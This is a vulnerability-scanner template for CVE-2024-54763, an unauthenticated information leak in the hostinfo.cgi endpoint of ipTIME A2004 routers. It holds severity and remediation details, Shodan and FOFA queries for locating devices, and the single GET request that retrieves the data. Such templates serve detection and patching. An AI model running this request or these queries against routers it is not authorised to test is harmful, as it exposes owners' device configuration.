id: CVE-2024-54763

info:
  name: ipTIME A2004 - Unauthorized Access
  author: ritikchaddha
  severity: medium
  description: |
    An access control issue in the component /login/hostinfo.cgi of ipTIME A2004 v12.17.0 allows attackers to obtain sensitive information without authentication.
  impact: |
    Unauthenticated attackers can access sensitive device configuration information through the hostinfo.cgi endpoint without authentication.
  remediation: |
    Update ipTIME A2004 router to a version later than 12.17.0 that addresses the unauthorized access vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/ipTIME/A2004/ipTIME_A2004_unauthorized_access_vulnerability_first.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54763
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-54763
    cwe-id: CWE-284
    epss-score: 0.00774
    epss-percentile: 0.52196
  metadata:
    verified: true
    max-request: 1
    vendor: ipTIME
    product: A2004
    shodan-query: http.title:"ipTIME"
    fofa-query: title="ipTIME"
  tags: cve,cve2024,iptime,router,unauth,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/hostinfo.cgi"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "^ipTIME"

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 490a0046304402200ab93e356c10937b35c7b8029ec63558691e6a0fa454718bda9c5b04b58d36910220718cd09bfc612458507c432fbc9338a672d0e43c089c301e1d6717b6be794b1c:922c64590222798bb761d5b6d8e72950